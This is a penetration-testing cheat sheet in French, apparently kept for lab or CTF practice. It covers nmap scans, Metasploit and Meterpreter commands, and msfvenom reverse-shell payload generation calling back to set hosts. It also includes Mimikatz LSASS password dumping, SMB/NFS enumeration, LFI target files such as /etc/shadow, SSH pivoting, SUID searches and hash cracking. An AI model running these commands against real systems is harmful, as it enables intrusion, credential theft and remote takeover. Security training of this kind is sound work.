Pentest
- Ressources
- tools
- Scan de port
- Metasploit
- Searchsploit
- Mimikatz
- Protocoles
- Web
- SSH
- Privilege escalation
- Infrastructure
- Reverse shell
- Password cracking
Ressources
Notes utiles :
- https://book.hacktricks.xyz/
- https://www.thehacker.recipes/ (plus windows)
- https://tools.thehacker.recipes/
- https://pentestmonkey.net/category/cheat-sheet
Shell upgrade : https://d00mfist1.gitbooks.io/ctf/content/spawning_shells.html
Linpeas.sh : https://github.com/carlospolop/PEASS-ng
GTFObins : https://gtfobins.github.io/
Wordlists : https://github.com/danielmiessler/SecLists/
https://github.com/swisskyrepo/PayloadsAllTheThings
https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
tools
Cosntructeur de reverse shell : https://www.revshells.com/
https://github.com/AlessandroZ/LaZagne
Scan de port
# pinguer tous les hôtes d'un réseau (port 80 + ICMP echo-request)
nmap -v -T4 -sP 192.168.0.0/24
# passer la découverte d'hôte
# (par défaut, Windows répond pas au ICMP echo-request, ni n'écoute sur port 80)
-Pn
####################
# scan réalistes
####################
# scan discret (n'envoi que des TCP SYN, connexion remonte pas à la couche 7, moins de log)
nmap -v -sS -sV <ip>
# recherche de script pour le service
ls -1 /usr/share/nmap/scripts | grep -i <service>
# script NSE ciblé
nmap -v -p 21 --script "safe and ftp*" 10.10.123.36
####################
# scan bourrins
####################
# OS + info sur les services
nmap -v -T4 -A -oA scan1 <ip>
# scan de vuln
nmap -v -T4 -sV --script vuln -oA scan1 <ip>
# sur une plage de port
nmap -v -T4 -sV --script vuln -oA scan1 <ip> -p 0-10000
Metasploit
Catégories de modules (show [module]
pour les lister) :
- auxiliary
- exploits
- payloads
- encoders
- nops
- post
Pour démarrer :
sudo msfdb init # démarrer la db
msfconsole -a # demande confirmation avant de quitter
Commandes :
# Aide
help|?
# Espaces de travail
workspace # affiche les workspace
workspace -a <nom> # create workspace, it becomes current workspace
workspace <nom> # change workspace
workspace -d <nom> # delete workspace
# Enregistrement
spool ./msfconsole.log # tee la session dans un fichier
makerc ./msfconsole.cmd # save all commands since start up to a file
save # enregistre les variables dans ~/.msfX/config
# Interactions avec la db
db_status # check la connexion avec la db
db_import # importer des résultats de scan par des outils externes
db_nmap # lance nmap et insert les résultats dans la db
hosts [-R] # affiche les hôtes ou set RHOSTS directement
services # affiche les services des hôtes
vulns # affiche les vulns des services
creds|loot|notes
# Modules
search motif # we can filter with type/port/cve/platform
use n # selectionner le module n
info [n] # infos sur le module n ou le module courant
options # affiche les variables du module
advanced # affiche plus de variables
show missing # affiche les variables manquantes
check # certains modules permettent de tester l'exploitabilité
run [-j] # lancer le module ou le lancer sous forme de job
jobs # afficher les jobs
sessions [-i n] # afficher les sessions ou s'attacher à la session n
back # sortir du module
# Variables (insensible à la casse)
set <var> <value>
get <var>
setg <var> <value> # global
getg <var>
unset <var>
Meterpreter :
# Aide
help|?
bg # se détacher de la session
migrate <PID> # migrer le meterpreter vers un autre process
getuid
sysinfo
load kiwi # charger l'extension de meterpreter mimikatz
getprivs
upload
shell # ouvrir un shell sur la machine
MSFvenom
MSFvenom can generate reverse shell and bind shell payloads in various formats.
There is 2 types of payloads :
- staged : a first minimal payload is dropped, and calls home to get the main payload (ex:
shell/reverse_tcp
) - stageless : the payload directly calls home, no stage (ex:
shell_reverse_tcp
)
# to list
msfvenom --list payloads
msfvenom --list encoders
msfvenom --list formats
# to generate a stageless reverse shell for a Windows x64 target in exe format
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o rshell.exe LHOST=192.168.13.37 LPORT=443
# to generate a staged meterpreter reverse shell for a Linux x64 target in elf format
msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST=10.10.10.5 LPORT=443
Searchsploit
# chercher un exploit
searchsploit cms made simple 2.2.8
# l'examiner
searchsploit php/webapps/46635.py -x
# le copier
searchsploit php/webapps/46635.py -m
Mimikatz
# check we have appropriate privileges (Administrator or SYSTEM)
privilege::debug
# Privilege '20' OK
# dumping the passwords from the LSASS memory
# (using logonpasswords function from sekurlsa module)
sekurlsa::logonpasswords
Protocoles
SMB
Les ports 139
et 445
indiquent un serveur SMB :
# full basic enumeration
enum4linux -a 192.168.10.1 | tee smb-enum.txt
# énumérer les utilisateurs avec un RID cycling sur un intervalle plus grand
enum4linux -U -R 500-2000 192.168.10.1 | grep -v unknown | tee smb-enum-rid.txt
# avec des credentials
enum4linux -a 192.168.10.1 -u test -p test | tee smb-enum-as-user.txt
Pour accéder à un partage SMB :
smbclient //<ip>/<share> [-U user] [-p port]
NFS
# afficher l'export list d'un service NFS :
showmount -e 10.10.222.36
# monter le répertoire distant share sur le point de montage mnt
mkdir mnt
sudo mount 10.10.222.36:/share mnt
Web
LFI (Local File Inclusion)
From LFI to RCE 🚀
Fichiers remarquables :
/etc/passwd
/etc/shadow # on sait jamais
/home/user/.bash_history
/home/user/.ssh/config
/var/log/auth.log # et cetera
Fingerprinting
Détecter les proxy : Méthode TRACE
(de moins en moins disponible sur les srv web)
Détecter les IPS/WAF : utiliser des mots caractéristiques d'une attaque et voir si page d'erreur (peut permettre d'identifier l'équipement)
Détecter les applications :
- utiliser un dictionnaire sur l'en-tête
Host
de la requête pour trouver des vhosts - recherche DNS inverse :
dig +short -x <IP>
- recherche bing/yahoo avec
ip:<IP>
SSH
Local Port Forwarding : ssh host -L 9000:remote_addr:80 puis curl localhost:9000 Remote Port Forwarding : Dynamic Port Forwarding : ssh host -D 9000 puis paramétrer un sock proxy dans firefox sur localhost:9000
Proxychains
Sur la machine locale, editer /etc/proxychains.conf
:
[ProxyList]
socks5 127.0.0.1 9999
...
Puis créer le point de sortie avec ssh root@web -D 9999
.
Plus d'infos sur https://man.cx/proxychains.
Privilege escalation
Trouver les binaires suid :
find / -user root -perm -4000 -exec ls -t {} \; 2>/dev/null
systemctl : https://gtfobins.github.io/gtfobins/systemctl/
Infrastructure
Serveur web :
python3 -m http.server 8080
Reverse shell
Pour se mettre en écoute :
# rlwrap permet d'avoir le confort de UP LEFT TAB
rlwrap nc -lnvp 9007
Password cracking
Identifier :
- hashid
- https://www.tunnelsup.com/hash-analyzer/
- https://hashes.com/en/tools/hash_identifier
- https://www.onlinehashcrack.com/hash-identification.php
John the Ripper (CPU)
Pour extraire les hash :
- zip password :
zip2john file.zip > zip.hash
- ssh private key passphrase :
ssh2john.py id_rsa > ssh.hash
john --wordlist=/usr/share/wordlists/rockyou.txt *.hash
# hash$salt
--format='dynamic=sha512($p.$s)'
Hashcat (GPU)
- Types de hash
- Mask attack (brute-force restreint) :
?l
= abcdefghijklmnopqrstuvwxyz?u
= ABCDEFGHIJKLMNOPQRSTUVWXYZ?d
= 0123456789?h
= 0123456789abcdef?H
= 0123456789ABCDEF?s
= «space»!"#$%&'()*+,-./:;<=>?@[]^_`{|}~?a
= ?l?u?d?s?b
= 0x00 - 0xff
# attaque par dictionnaire sur sha512crypt
./hashcat.exe -O -m 1800 '$6$GQXVvW4EuM$ehD6jWiMsfNorxy5SINsgdlxmAEl3.yif0/c3NqzGLa0P.S7KRDYjycw5bnYkF5ZtB8wQy8KnskuWQS3Yr1wQ0' -a 0 rockyou.txt
# spaceman
# attaque par mask sur MD5
./hashcat.exe -O -m 0 '5abb483f1b9976d7a80bfa35f2a0c316' -a 3 ?d?d?d?d?d?d?d?d --increment
# 85208520
Afficher les mots de passe trouvés : cat hashcat.potfile